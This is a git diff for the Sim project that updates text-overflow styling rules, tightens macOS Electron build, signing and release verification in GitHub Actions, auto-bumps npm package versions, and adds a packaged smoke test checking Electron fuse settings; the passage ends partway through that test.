diff --git a/.claude/rules/emcn-components.md b/.claude/rules/emcn-components.md index a1ab8b5b93a..2d5babc15df 100644 --- a/.claude/rules/emcn-components.md +++ b/.claude/rules/emcn-components.md @@ -32,6 +32,7 @@ The menu surface intentionally diverges from the pill: `dropdown-menu.tsx` items - **`ChipDatePicker`** — chip-styled date field. - **`ChipTimePicker`** — minute-granular time sibling of `ChipDatePicker`, a `ChipInput` that leniently parses typed input (`9:47`, `947`, `2:05pm`, `14:30`), commits on Enter/blur, and re-renders the canonical `9:47 AM` label. - **`DropdownMenu`** — the canonical context/action menu (Radix-backed). Not a chip, but the standard menu for command/action lists; reach for it instead of a hand-rolled popover. Its surface intentionally diverges from the chip pill (`text-small`, `gap-2`) — keep them distinct. For a pill that opens a value picker, use `ChipDropdown`/`ChipSelect` instead. +- **`OverflowText`** — the canonical single-line overflow treatment for read-only human labels and titles. It owns `min-w-0`, single-line clipping, the conditional 18px edge fade, and the full-value floating tooltip; consumers pass only layout/typography through `className`. Never combine the fade with `truncate`, which paints an ellipsis beneath the mask. Keep ordinary `truncate` for editable or mirrored input values, code/log/path content, dense or virtualized grids, and composite rows where masking the container would also fade icons or actions. Multiline copy uses an intentional `line-clamp-*` treatment instead. A non-editable `Combobox` visual overlay passes its plain value through `overlayLabel`; render its visible `OverflowText` as a constrained block with `tooltipEnabled={false}` so the interactive trigger owns the single accessible tooltip. ## Modal keyboard defaults diff --git a/.claude/rules/sim-styling.md b/.claude/rules/sim-styling.md index 1670b0bd513..188fc2b1810 100644 --- a/.claude/rules/sim-styling.md +++ b/.claude/rules/sim-styling.md @@ -50,6 +50,14 @@ Custom font sizes (`apps/sim/tailwind.config.ts`): `text-micro`=10px, `text-xs`= Icons default `size-[14px]`. Equal h/w → `size-*` (`size-[14px]`, `size-4`), never `h-N w-N`. +## Text Overflow + +Use `OverflowText` from `@sim/emcn` for a constrained, single-line, read-only human label or title. It owns `min-w-0`, single-line clipping, the conditional edge fade, and the full-value floating tooltip; pass only layout and typography through `className`. Never combine a fade or hand-written `mask-image` with `truncate`, which leaves an ellipsis beneath the mask. Pass the full label to this component instead of shortening it in JavaScript first. + +For a non-editable `Combobox` visual overlay, pass the same plain value as `overlayLabel` and render the visible `OverflowText` with `block w-full` (or `block flex-1` beside an icon) plus `tooltipEnabled={false}`. The transparent interactive layer then owns the one reachable full-value tooltip while the visual layer owns the measured fade. + +Do not apply the fade universally to editable or mirrored input values, code, logs, paths, filenames that use intentional middle truncation, dense or virtualized grids, or a composite container that also holds icons/actions. Those keep their purpose-built overflow behavior. Multiline copy uses an intentional `line-clamp-*` treatment. + ## Font Weight Three steps, Tailwind's stock scale, nothing else: **`font-normal` (400)**, **`font-medium` (500)**, **`font-semibold` (600)**. 400 is the document default, so body text, chip labels, sidebar items, and headings carry **no weight class at all** — they inherit. Reach for a class only to step *up* from body. diff --git a/.cursor/rules/sim-styling.mdc b/.cursor/rules/sim-styling.mdc index 7479c5676e0..d79cc9fd04e 100644 --- a/.cursor/rules/sim-styling.mdc +++ b/.cursor/rules/sim-styling.mdc @@ -44,6 +44,14 @@ Custom font sizes (`apps/sim/tailwind.config.ts`): `text-micro`=10px, `text-xs`= Icons default `size-[14px]`. Equal h/w → `size-*` (`size-[14px]`, `size-4`), never `h-N w-N`. +## Text Overflow + +Use `OverflowText` from `@sim/emcn` for a constrained, single-line, read-only human label or title. It owns `min-w-0`, single-line clipping, the conditional edge fade, and the full-value floating tooltip; pass only layout and typography through `className`. Never combine a fade or hand-written `mask-image` with `truncate`, which leaves an ellipsis beneath the mask. Pass the full label to this component instead of shortening it in JavaScript first. + +For a non-editable `Combobox` visual overlay, pass the same plain value as `overlayLabel` and render the visible `OverflowText` with `block w-full` (or `block flex-1` beside an icon) plus `tooltipEnabled={false}`. The transparent interactive layer then owns the one reachable full-value tooltip while the visual layer owns the measured fade. + +Do not apply the fade universally to editable or mirrored input values, code, logs, paths, filenames that use intentional middle truncation, dense or virtualized grids, or a composite container that also holds icons/actions. Those keep their purpose-built overflow behavior. Multiline copy uses an intentional `line-clamp-*` treatment. + ## Color Tokens Value text `--text-body`; muted/placeholder/labels `--text-muted`; icons `--text-icon`; borders `--border-1` (fields) / `--border` (dividers); surfaces `--surface-5` (light) / `--surface-4` (dark); active row `--surface-active`; error `--text-error`. No focus rings on chip surfaces. diff --git a/.github/workflows/desktop-e2e.yml b/.github/workflows/desktop-e2e.yml index 7b87a84bc8d..aadc3bf6f3e 100644 --- a/.github/workflows/desktop-e2e.yml +++ b/.github/workflows/desktop-e2e.yml @@ -1,13 +1,27 @@ name: Desktop E2E -# Smoke coverage of the real Electron shell, plus an advisory canary leg -# against electron@latest so Chromium-cadence breakage surfaces before an -# upgrade is attempted (U18/U22). -# -# Manual-only for now: the desktop app is tested locally, so the -# pull_request trigger is disabled until desktop CI is turned back on. +# Smoke coverage of the real Electron shell on desktop changes, plus a weekly +# advisory canary against electron@latest so Chromium-cadence breakage surfaces +# before an upgrade is attempted. on: + pull_request: + paths: + - '.github/workflows/desktop-e2e.yml' + - '.github/workflows/desktop-release.yml' + - 'apps/desktop/**' + - 'apps/sim/public/brand/fonts/**' + - 'packages/desktop-bridge/**' + - 'packages/browser-protocol/**' + - 'packages/terminal-protocol/**' + - 'packages/logger/**' + - 'packages/security/**' + - 'packages/tsconfig/**' + - 'packages/utils/**' + - 'bun.lock' + - 'package.json' + schedule: + - cron: '23 9 * * 1' workflow_dispatch: permissions: @@ -18,14 +32,10 @@ concurrency: cancel-in-progress: true jobs: - e2e: - name: E2E (${{ matrix.electron }}) + e2e-pinned: + name: E2E (pinned) + if: github.event_name != 'schedule' runs-on: macos-26 - strategy: - fail-fast: false - matrix: - electron: [pinned, latest] - continue-on-error: ${{ matrix.electron == 'latest' }} steps: - name: Checkout code uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 @@ -38,10 +48,42 @@ jobs: - name: Install dependencies run: bun install --frozen-lockfile - - name: Switch to electron@latest (canary) - if: matrix.electron == 'latest' + - name: Bundle main and preload + working-directory: apps/desktop + run: bun run build + + - name: Run Playwright _electron smoke suite + working-directory: apps/desktop + run: bunx playwright test + + - name: Upload test results + if: failure() + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 + with: + name: desktop-e2e-results-pinned + path: apps/desktop/test-results + retention-days: 7 + + e2e-latest-canary: + name: E2E (electron@latest canary) + if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' + runs-on: macos-26 + continue-on-error: true + steps: + - name: Checkout code + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + + - name: Setup Bun + uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 + with: + bun-version: 1.3.14 + + - name: Install dependencies + run: bun install --frozen-lockfile + + - name: Switch to electron@latest working-directory: apps/desktop - run: bun add -d electron@latest + run: bun add --no-save -d electron@latest - name: Bundle main and preload working-directory: apps/desktop @@ -53,14 +95,15 @@ jobs: - name: Upload test results if: failure() - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: - name: desktop-e2e-results-${{ matrix.electron }} + name: desktop-e2e-results-latest path: apps/desktop/test-results retention-days: 7 package-smoke: name: Unsigned package smoke + if: github.event_name != 'schedule' runs-on: macos-26 steps: - name: Checkout code @@ -72,7 +115,7 @@ jobs: bun-version: 1.3.14 - name: Setup Node - uses: actions/setup-node@v4 + uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: 22 @@ -85,4 +128,20 @@ jobs: CSC_IDENTITY_AUTO_DISCOVERY: 'false' run: | bun run build - bunx electron-builder --mac dir --publish never + bunx electron-builder --mac dir --universal --publish never \ + -c.mac.identity=- -c.mac.hardenedRuntime=false + + - name: Run packaged Electron smoke suite + working-directory: apps/desktop + run: | + APP_BUNDLE="$(find release -maxdepth 2 -name '*.app' -print -quit)" + if [ -z "$APP_BUNDLE" ]; then + echo "::error::Packaged app bundle was not found." + exit 1 + fi + EXECUTABLE="$(find "$APP_BUNDLE/Contents/MacOS" -maxdepth 1 -type f -perm -111 -print -quit)" + if [ -z "$EXECUTABLE" ]; then + echo "::error::Packaged app executable was not found." + exit 1 + fi + SIM_DESKTOP_EXECUTABLE="$EXECUTABLE" bunx playwright test e2e/packaged-smoke.spec.ts diff --git a/.github/workflows/desktop-release.yml b/.github/workflows/desktop-release.yml index ed014c85039..db1e403eb5d 100644 --- a/.github/workflows/desktop-release.yml +++ b/.github/workflows/desktop-release.yml @@ -53,6 +53,9 @@ jobs: steps: - name: Checkout code uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + with: + fetch-depth: 0 + ref: ${{ github.event_name == 'workflow_dispatch' && inputs.version || github.sha }} # Prerelease versions carry their environment in the tag: -dev.N is a # dev build, -staging.N a staging build. Legacy -alpha/-beta tags remain @@ -82,6 +85,34 @@ jobs: } >> "$GITHUB_OUTPUT" echo "Building $NAME ($APP_ID) for $RELEASE_REPOSITORY; default origin: ${ORIGIN:-production}" + - name: Validate release source + env: + PUBLISH: ${{ inputs.publish }} + SIGN: ${{ inputs.sign }} + TOKEN_KIND: ${{ steps.channel.outputs.token_kind }} + VERSION: ${{ inputs.version }} + run: | + if ! [[ "$VERSION" =~ ^v[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.-]+)?$ ]]; then + echo "::error::Refusing to build: '$VERSION' is not a vX.Y.Z release tag." + exit 1 + fi + if [ "$GITHUB_EVENT_NAME" = workflow_dispatch ] && [ "$TOKEN_KIND" != stable ]; then + echo "::error::Manual desktop releases must use a stable source-repository tag." + exit 1 + fi + if [ "$TOKEN_KIND" = stable ] && [ "$PUBLISH" = true ] && [ "$SIGN" != true ]; then + echo "::error::Stable desktop releases must be signed before publication." + exit 1 + fi + if [ "$TOKEN_KIND" = stable ]; then + TAG_COMMIT="$(git rev-parse "refs/tags/${VERSION}^{commit}")" + HEAD_COMMIT="$(git rev-parse HEAD)" + if [ "$TAG_COMMIT" != "$HEAD_COMMIT" ]; then + echo "::error::Requested tag $VERSION points to $TAG_COMMIT, but the checkout is $HEAD_COMMIT." + exit 1 + fi + fi + - name: Validate release authentication if: ${{ inputs.publish }} env: @@ -100,12 +131,12 @@ jobs: bun-version: 1.3.14 - name: Setup Node - uses: actions/setup-node@v4 + uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: 22 - name: Cache Electron binaries - uses: actions/cache@v4 + uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4 with: path: | ~/Library/Caches/electron @@ -120,23 +151,33 @@ jobs: VERSION: ${{ inputs.version }} run: | SEMVER="${VERSION#v}" - if ! [[ "$SEMVER" =~ ^[0-9]+\.[0-9]+\.[0-9]+([-.].+)?$ ]]; then - echo "Refusing to build: '$VERSION' is not a vX.Y.Z release tag" >&2 - exit 1 - fi - npm pkg set version="$SEMVER" --prefix apps/desktop + cd apps/desktop + bun pm pkg set version="$SEMVER" + cd ../.. INJECTED="$(node -p "require('./apps/desktop/package.json').version")" if [ "$INJECTED" != "$SEMVER" ]; then echo "Version injection mismatch: wanted $SEMVER got $INJECTED" >&2 exit 1 fi + - name: Verify desktop source + run: | + bun run --cwd apps/desktop lint:check + bun run --cwd apps/desktop type-check + bun run --cwd apps/desktop test + - name: Bundle main and preload working-directory: apps/desktop env: SIM_DESKTOP_DEFAULT_ORIGIN: ${{ steps.channel.outputs.origin }} run: bun run build + - name: Run Electron smoke tests + working-directory: apps/desktop + env: + SIM_DESKTOP_DEFAULT_ORIGIN: ${{ steps.channel.outputs.origin }} + run: bun run test:e2e + - name: Write App Store Connect API key if: ${{ inputs.sign }} env: @@ -165,8 +206,9 @@ jobs: -c.productName="$PRODUCT_NAME" -c.appId="$APP_ID" # Unsigned prerelease path: no Developer ID, no notarization. The - # binaries end up ad-hoc/linker-signed, which runs locally but gets - # quarantined when downloaded — fine for testing the update pipeline. + # binaries are explicitly ad-hoc signed with Hardened Runtime off, which + # runs locally but gets quarantined when downloaded — fine for testing + # the update pipeline without Developer ID credentials. - name: Package unsigned if: ${{ !inputs.sign }} working-directory: apps/desktop @@ -176,17 +218,106 @@ jobs: APP_ID: ${{ steps.channel.outputs.app_id }} run: > bunx electron-builder --mac --publish never -c.mac.notarize=false + -c.mac.identity=- -c.mac.hardenedRuntime=false -c.productName="$PRODUCT_NAME" -c.appId="$APP_ID" + - name: Validate packaged artifacts + env: + VERSION: ${{ inputs.version }} + run: | + SEMVER="${VERSION#v}" + RELEASE_DIR=apps/desktop/release + YML="$(find "$RELEASE_DIR" -maxdepth 1 -name '*-mac.yml' -print)" + if [ "$(printf '%s\n' "$YML" | sed '/^$/d' | wc -l | tr -d ' ')" != 1 ]; then + echo "::error::Expected exactly one updater manifest in $RELEASE_DIR." + exit 1 + fi + if [ "$(basename "$YML")" != latest-mac.yml ]; then + mv "$YML" "$RELEASE_DIR/latest-mac.yml" + fi + ARTIFACTS=( + "$RELEASE_DIR/Sim-${SEMVER}-universal.dmg" + "$RELEASE_DIR/Sim-${SEMVER}-universal.dmg.blockmap" + "$RELEASE_DIR/Sim-${SEMVER}-universal.zip" + "$RELEASE_DIR/Sim-${SEMVER}-universal.zip.blockmap" + "$RELEASE_DIR/latest-mac.yml" + ) + for ARTIFACT in "${ARTIFACTS[@]}"; do + if [ ! -f "$ARTIFACT" ]; then + echo "::error::Expected desktop artifact is missing: $ARTIFACT" + exit 1 + fi + done + if [ "$(find "$RELEASE_DIR" -maxdepth 1 \( -name '*.dmg' -o -name '*.zip' -o -name '*.blockmap' \) | wc -l | tr -d ' ')" != 4 ]; then + echo "::error::Unexpected package artifacts were produced; refusing a wildcard upload." + find "$RELEASE_DIR" -maxdepth 1 -type f -print + exit 1 + fi + if ! grep -Fxq "version: $SEMVER" "$RELEASE_DIR/latest-mac.yml"; then + echo "::error::Updater manifest version does not match $VERSION." + exit 1 + fi + URLS="$(sed -nE 's/^[[:space:]]*(-[[:space:]]*)?url:[[:space:]]*([^[:space:]]+)[[:space:]]*$/\2/p' "$RELEASE_DIR/latest-mac.yml" | sort)" + EXPECTED_URLS="$(printf '%s\n' "Sim-${SEMVER}-universal.zip" "Sim-${SEMVER}-universal.dmg" | sort)" + if [ "$URLS" != "$EXPECTED_URLS" ]; then + echo "::error::Updater manifest contains unexpected artifact URLs." + exit 1 + fi + if ! grep -Fxq "path: Sim-${SEMVER}-universal.zip" "$RELEASE_DIR/latest-mac.yml"; then + echo "::error::Updater manifest path does not reference the verified zip artifact." + exit 1 + fi + hdiutil verify "$RELEASE_DIR/Sim-${SEMVER}-universal.dmg" + unzip -tq "$RELEASE_DIR/Sim-${SEMVER}-universal.zip" + - name: Validate signature and notarization if: ${{ inputs.sign }} + env: + VERSION: ${{ inputs.version }} run: | - DMG="$(ls apps/desktop/release/*.dmg | head -1)" - hdiutil attach "$DMG" -mountpoint /tmp/sim-dmg -nobrowse -quiet - xcrun stapler validate /tmp/sim-dmg/*.app - spctl --assess --type execute --verbose /tmp/sim-dmg/*.app - codesign --verify --deep --strict /tmp/sim-dmg/*.app - hdiutil detach /tmp/sim-dmg -quiet + SEMVER="${VERSION#v}" + DMG="apps/desktop/release/Sim-${SEMVER}-universal.dmg" + ZIP="apps/desktop/release/Sim-${SEMVER}-universal.zip" + MOUNT_POINT="$RUNNER_TEMP/sim-dmg" + ZIP_DIR="$(mktemp -d "$RUNNER_TEMP/sim-zip.XXXXXX")" + mkdir -p "$MOUNT_POINT" + hdiutil attach "$DMG" -mountpoint "$MOUNT_POINT" -nobrowse -quiet + trap 'hdiutil detach "$MOUNT_POINT" -quiet || true; rm -rf "$ZIP_DIR"' EXIT + APP_BUNDLE="$(find "$MOUNT_POINT" -maxdepth 1 -name '*.app' -print -quit)" + if [ -z "$APP_BUNDLE" ]; then + echo "::error::The signed DMG does not contain an app bundle." + exit 1 + fi + xcrun stapler validate "$APP_BUNDLE" + spctl --assess --type execute --verbose "$APP_BUNDLE" + codesign --verify --deep --strict "$APP_BUNDLE" + unzip -q "$ZIP" -d "$ZIP_DIR" + ZIP_APP="$(find "$ZIP_DIR" -maxdepth 2 -name '*.app' -print -quit)" + if [ -z "$ZIP_APP" ]; then + echo "::error::The updater ZIP does not contain an app bundle." + exit 1 + fi + xcrun stapler validate "$ZIP_APP" + spctl --assess --type execute --verbose "$ZIP_APP" + codesign --verify --deep --strict "$ZIP_APP" + hdiutil detach "$MOUNT_POINT" -quiet + rm -rf "$ZIP_DIR" + trap - EXIT + + - name: Run packaged Electron smoke suite + working-directory: apps/desktop + run: | + APP_BUNDLE="$(find release -maxdepth 2 -name '*.app' -print -quit)" + if [ -z "$APP_BUNDLE" ]; then + echo "::error::Packaged app bundle was not found." + exit 1 + fi + EXECUTABLE="$(find "$APP_BUNDLE/Contents/MacOS" -maxdepth 1 -type f -perm -111 -print -quit)" + if [ -z "$EXECUTABLE" ]; then + echo "::error::Packaged app executable was not found." + exit 1 + fi + SIM_DESKTOP_EXECUTABLE="$EXECUTABLE" bunx playwright test e2e/packaged-smoke.spec.ts - name: Upload artifacts to the release if: ${{ inputs.publish }} @@ -209,35 +340,51 @@ jobs: exit 1 fi export GH_TOKEN - # electron-builder's GitHub provider always names the manifest - # latest-mac.yml (channels are a generic-provider concept), and the - # update feed expects exactly that asset name on every release — - # normalize defensively in case a config change ever produces a - # channel-named manifest. - YML="$(find apps/desktop/release -maxdepth 1 -name '*-mac.yml' | head -1)" - if [ -z "$YML" ]; then - echo "::error::No *-mac.yml updater manifest found in apps/desktop/release" - exit 1 - fi - if [ "$(basename "$YML")" != "latest-mac.yml" ]; then - mv "$YML" apps/desktop/release/latest-mac.yml - fi - gh release upload "$VERSION" \ - apps/desktop/release/*.dmg \ - apps/desktop/release/*.zip \ - apps/desktop/release/*.blockmap \ - apps/desktop/release/latest-mac.yml \ - --repo "$RELEASE_REPOSITORY" \ - --clobber + if ! gh release view "$VERSION" --repo "$RELEASE_REPOSITORY" >/dev/null; then + echo "::error::Release $VERSION does not exist in $RELEASE_REPOSITORY." + exit 1 + fi + SEMVER="${VERSION#v}" + ARTIFACTS=( + "apps/desktop/release/Sim-${SEMVER}-universal.dmg" + "apps/desktop/release/Sim-${SEMVER}-universal.dmg.blockmap" + "apps/desktop/release/Sim-${SEMVER}-universal.zip" + "apps/desktop/release/Sim-${SEMVER}-universal.zip.blockmap" + "apps/desktop/release/latest-mac.yml" + ) + upload_or_verify() { + local ARTIFACT="$1" + local NAME SIZE DIGEST RELEASE_JSON REMOTE REMOTE_SIZE REMOTE_DIGEST + NAME="$(basename "$ARTIFACT")" + SIZE="$(stat -f%z "$ARTIFACT")" + DIGEST="sha256:$(shasum -a 256 "$ARTIFACT" | awk '{print $1}')" + RELEASE_JSON="$(gh api "repos/${RELEASE_REPOSITORY}/releases/tags/${VERSION}")" + REMOTE="$(jq -c --arg name "$NAME" '.assets[] | select(.name == $name)' <<< "$RELEASE_JSON")" + if [ -n "$REMOTE" ]; then + REMOTE_SIZE="$(jq -r '.size' <<< "$REMOTE")" + REMOTE_DIGEST="$(jq -r '.digest // empty' <<< "$REMOTE")" + if [ "$REMOTE_SIZE" != "$SIZE" ] || [ "$REMOTE_DIGEST" != "$DIGEST" ]; then + echo "::error::Existing release asset $NAME does not match this build." + exit 1 + fi + echo "Verified existing release asset $NAME; skipping upload." + return + fi + gh release upload "$VERSION" "$ARTIFACT" --repo "$RELEASE_REPOSITORY" + } + for ARTIFACT in "${ARTIFACTS[@]:0:4}"; do + upload_or_verify "$ARTIFACT" + done + upload_or_verify "${ARTIFACTS[4]}" - name: Upload artifacts to the workflow run if: ${{ !inputs.publish }} - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: name: sim-desktop-${{ inputs.version }} path: | apps/desktop/release/*.dmg apps/desktop/release/*.zip apps/desktop/release/*.blockmap - apps/desktop/release/*-mac.yml + apps/desktop/release/latest-mac.yml retention-days: 7 diff --git a/.github/workflows/publish-sim-cli.yml b/.github/workflows/publish-sim-cli.yml index f36e514ec69..95c74918a20 100644 --- a/.github/workflows/publish-sim-cli.yml +++ b/.github/workflows/publish-sim-cli.yml @@ -11,7 +11,7 @@ permissions: concurrency: group: publish-sim-cli-${{ github.ref }} - cancel-in-progress: true + cancel-in-progress: false jobs: publish-npm: @@ -50,6 +50,9 @@ jobs: NPM_CONFIG_TOKEN: ${{ secrets.NPM_TOKEN }} run: bun pm whoami + - name: Auto-bump package version + run: bun run bump:npm-packages sim-cli + - name: Run tests working-directory: packages/sim-cli run: bun run test @@ -115,20 +118,17 @@ jobs: tar -xzf "$PACKAGE_PATH" -C "$SMOKE_DIR" "$SMOKE_DIR/package/dist/index.js" --version - - name: Check if version already exists - id: version_check + - name: Verify version is unpublished working-directory: packages/sim-cli env: VERSION: ${{ steps.release.outputs.version }} run: | if bun pm view "sim@$VERSION" version > /dev/null 2>&1; then - echo "exists=true" >> "$GITHUB_OUTPUT" - else - echo "exists=false" >> "$GITHUB_OUTPUT" + echo "sim@$VERSION is already published. The automatic version bump did not produce a unique release." >&2 + exit 1 fi - name: Publish to npm - if: steps.version_check.outputs.exists == 'false' working-directory: packages/sim-cli env: NPM_CONFIG_TOKEN: ${{ secrets.NPM_TOKEN }} @@ -136,14 +136,7 @@ jobs: run: bun publish --access public --tag "$NPM_TAG" --no-save - name: Summarize release - if: steps.version_check.outputs.exists == 'false' env: VERSION: ${{ steps.release.outputs.version }} NPM_TAG: ${{ steps.release.outputs.tag }} run: echo "Published sim@$VERSION with the '$NPM_TAG' tag." - - - name: Summarize skipped release - if: steps.version_check.outputs.exists == 'true' - env: - VERSION: ${{ steps.release.outputs.version }} - run: echo "Skipped sim@$VERSION because that version is already published." diff --git a/.github/workflows/publish-sim-setup.yml b/.github/workflows/publish-sim-setup.yml index e8d9f181b19..0594dee14b6 100644 --- a/.github/workflows/publish-sim-setup.yml +++ b/.github/workflows/publish-sim-setup.yml @@ -55,6 +55,9 @@ jobs: NPM_CONFIG_TOKEN: ${{ secrets.NPM_TOKEN }} run: bun pm whoami + - name: Auto-bump package version + run: bun run bump:npm-packages sim-setup + - name: Check generated deployment config run: bun run deployment-config:check @@ -156,7 +159,7 @@ jobs: VERSION: ${{ steps.release.outputs.version }} run: | if bun pm view "sim-setup@$VERSION" version > /dev/null 2>&1; then - echo "sim-setup@$VERSION is already published. Bump packages/sim-setup/package.json before releasing another build." >&2 + echo "sim-setup@$VERSION is already published. The automatic version bump did not produce a unique release." >&2 exit 1 fi diff --git a/apps/desktop/README.md b/apps/desktop/README.md index 766873fab65..0d9b1bdfe98 100644 --- a/apps/desktop/README.md +++ b/apps/desktop/README.md @@ -104,10 +104,10 @@ Pre-release share (no Developer ID yet): `SIM_DESKTOP_DEFAULT_ORIGIN=https://www The build also derives the app icon from `SIM_DESKTOP_DEFAULT_ORIGIN`. Every channel uses the exact production icon with its white background and black `sim` mark. Non-production channels add a thin outline using existing platform colors: dev uses orange, staging uses Loop blue, and localhost uses Workflow violet. The macOS menu-bar icon also carries a compact `D`, `S`, or `L` subscript for those environments; production remains unmarked. Native Icon Composer assets live in `build/`; `scripts/build.ts` copies the selected variant to the ignored `build/generated-icon.icon` path consumed by electron-builder. Electron-builder compiles it to `Assets.car` and derives the legacy `.icns` fallback from the same source. Matching 512px PNGs in `static/` provide the Dock icon for unpackaged runs. CI (`.github/workflows/desktop-release.yml`, wired into `ci.yml`): -- Stable builds run only after `create-release` on a `vX.Y.Z:` commit to main — **never before**: `scripts/create-single-release.ts` skips creation if the tag exists, so a desktop job publishing first would eat the changelog. Stable assets remain on `simstudioai/sim`; dev/staging assets publish to the public `simstudioai/sim-desktop-releases` repository so source-repository followers are not notified for internal shell builds. The job builds `--publish never` and uploads assets with `gh release upload --clobber` (idempotent re-runs). +- Stable builds run only after `create-release` on a `vX.Y.Z:` commit to main — **never before**: `scripts/create-single-release.ts` skips creation if the tag exists, so a desktop job publishing first would eat the changelog. Stable assets remain on `simstudioai/sim`; dev/staging assets publish to the public `simstudioai/sim-desktop-releases` repository so source-repository followers are not notified for internal shell builds. The job builds `--publish never`; reruns verify the size and SHA-256 digest of existing release assets instead of overwriting them. - **Secrets gate**: `check-desktop-signing` in `ci.yml` probes the six Apple secrets and skips the desktop job with a warning until they exist — releases never fail on a missing Apple account, and the first release after the secrets land ships desktop artifacts automatically. Manual/one-off builds: Actions → "Desktop Release (macOS)" → Run workflow with a `vX.Y.Z` version (`publish: false` uploads artifacts to the run instead of the release). - The product semver is **injected** from the release tag into `apps/desktop/package.json` at build time (repo package versions are placeholders). A mismatch guard fails the build. -- Fuses are flipped at package time (`electronFuses` in `electron-builder.yml`): runAsNode off, NODE_OPTIONS off, inspect args off, ASAR-only + integrity validation, cookie encryption on, `strictlyRequireAllFuses` so new fuses fail loudly on Electron bumps. +- Fuses are flipped at package time (`electronFuses` in `electron-builder.yml`): runAsNode off, NODE_OPTIONS off, inspect args off, ASAR-only + integrity validation, and cookie encryption on. The packaged smoke test asserts every fuse byte so Electron upgrades fail until new fuses receive an explicit policy. - **Cookie-encryption go/no-go**: on every Electron bump, verify a packaged build keeps its session across relaunch (there are historical cookie-persistence bugs with the `EnableCookieEncryption` fuse). If it reproduces, set `enableCookieEncryption: false` and record it here. Required repo secrets (owner: whoever holds the Apple Developer account; calendar the expiries — an expired cert/API key breaks every release): diff --git a/apps/desktop/docs/electron-upgrade-checklist.md b/apps/desktop/docs/electron-upgrade-checklist.md index 8974779d6b1..04aa583558a 100644 --- a/apps/desktop/docs/electron-upgrade-checklist.md +++ b/apps/desktop/docs/electron-upgrade-checklist.md @@ -4,7 +4,7 @@ The rendering-parity guarantee (identical to Chrome of the pinned version) is on 1. **Read the release notes.** Electron breaking-changes page for the target major, plus its Chromium/Node versions. Note anything touching: session/cookies, permissions, `setWindowOpenHandler`, `will-navigate`/`will-redirect`, preload/sandbox, `net`/loopback, fuses. 2. **Bump the pin** in `apps/desktop/package.json` (exact version), `bun install`, `bun run type-check && bun run test`. -3. **Fuses:** the build sets `strictlyRequireAllFuses` — if `electron-builder` fails on a new fuse, decide its state explicitly in `electron-builder.yml` rather than loosening the strict flag. +3. **Fuses:** the packaged smoke test asserts the complete fuse wire. Decide the policy for every new fuse, configure it in `electron-builder.yml` when supported, and update the expected wire only after verifying the packaged binary. 4. **Cookie-encryption go/no-go:** packaged build → sign in → quit → relaunch → still signed in. If the session is lost, flip `enableCookieEncryption: false`, file it in the README, and retest. 5. **Manual spot-checks (packaged build):** - Google sign-in via the system-browser handoff (127.0.0.1 loopback callback → token redeem). diff --git a/apps/desktop/e2e/packaged-smoke.spec.ts b/apps/desktop/e2e/packaged-smoke.spec.ts new file mode 100644 index 00000000000..e7613321e87 --- /dev/null +++ b/apps/desktop/e2e/packaged-smoke.spec.ts @@ -0,0 +1,84 @@ +import { spawn } from 'node:child_process' +import { once } from 'node:events' +import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { FuseV1Options, FuseVersion, getCurrentFuseWire } from '@electron/fuses' +import { expect, test } from '@playwright/test' + +const FUSE_DISABLED = '0'.charCodeAt(0) +const FUSE_ENABLED = '1'.charCodeAt(0) +const ELECTRON_43_WASM_TRAP_HANDLERS_FUSE = 8 + +const EXPECTED_FUSE_POLICY = [ + [FuseV1Options.RunAsNode, FUSE_DISABLED], + [FuseV1Options.EnableCookieEncryption, FUSE_ENABLED], + [FuseV1Options.EnableNodeOptionsEnvironmentVariable, FUSE_DISABLED], + [FuseV1Options.EnableNodeCliInspectArguments, FUSE_DISABLED], + [FuseV1Options.EnableEmbeddedAsarIntegrityValidation, FUSE_ENABLED], + [FuseV1Options.OnlyLoadAppFromAsar, FUSE_ENABLED], + [FuseV1Options.LoadBrowserProcessSpecificV8Snapshot, FUSE_DISABLED], + [FuseV1Options.GrantFileProtocolExtraPrivileges, FUSE_DISABLED], + [ELECTRON_43_WASM_TRAP_HANDLERS_FUSE, FUSE_ENABLED], +] as const + +test.skip( + !process.env.SIM_DESKTOP_EXECUTABLE, + 'Packaged smoke runs only after the desktop executable has been built' +) + +test('packaged Electron binary has the production fuse policy', async () => { + const executablePath = process.env.SIM_DESKTOP_EXECUTABLE + if (!executablePath) throw new Error('SIM_DESKTOP_EXECUTABLE is required') + + const fuses = await getCurrentFuseWire(executablePath) + expect(fuses.version).toBe(FuseVersion.V1) + const fuseIndexes = Object.keys(fuses) + .filter((key) => /^\d+$/.test(key)) + .map(Number) + + expect(fuseIndexes).toEqual(EXPECTED_FUSE_POLICY.map(([index]) => index)) + for (const [index, state] of EXPECTED_FUSE_POLICY) { + expect(Reflect.get(fuses, index)).toBe(state) + } +}) + +test('packaged main process starts and records launch telemetry', async () => { + const executablePath = process.env.SIM_DESKTOP_EXECUTABLE + if (!executablePath) throw new Error('SIM_DESKTOP_EXECUTABLE is required') + const userDataPath = mkdtempSync(join(tmpdir(), 'sim-desktop-packaged-e2e-')) + const child = spawn(executablePath, [], { + env: { + ...process.env, + SIM_DESKTOP_ORIGIN: 'http://127.0.0.1:1', + SIM_DESKTOP_USER_DATA: userDataPath, + }, + stdio: 'ignore', + }) + const eventLogPath = join(userDataPath, 'logs', 'desktop-events.log') + + try { + await expect + .poll( + () => { + if (child.exitCode !== null || child.signalCode !== null) { + throw new Error( + `Packaged app exited with ${child.exitCode ?? child.signalCode ?? 'unknown status'}` + ) + } + return ( + existsSync(eventLogPath) && readFileSync(eventLogPath, 'utf8').includes('app_launch') + ) + }, + { timeout: 10_000 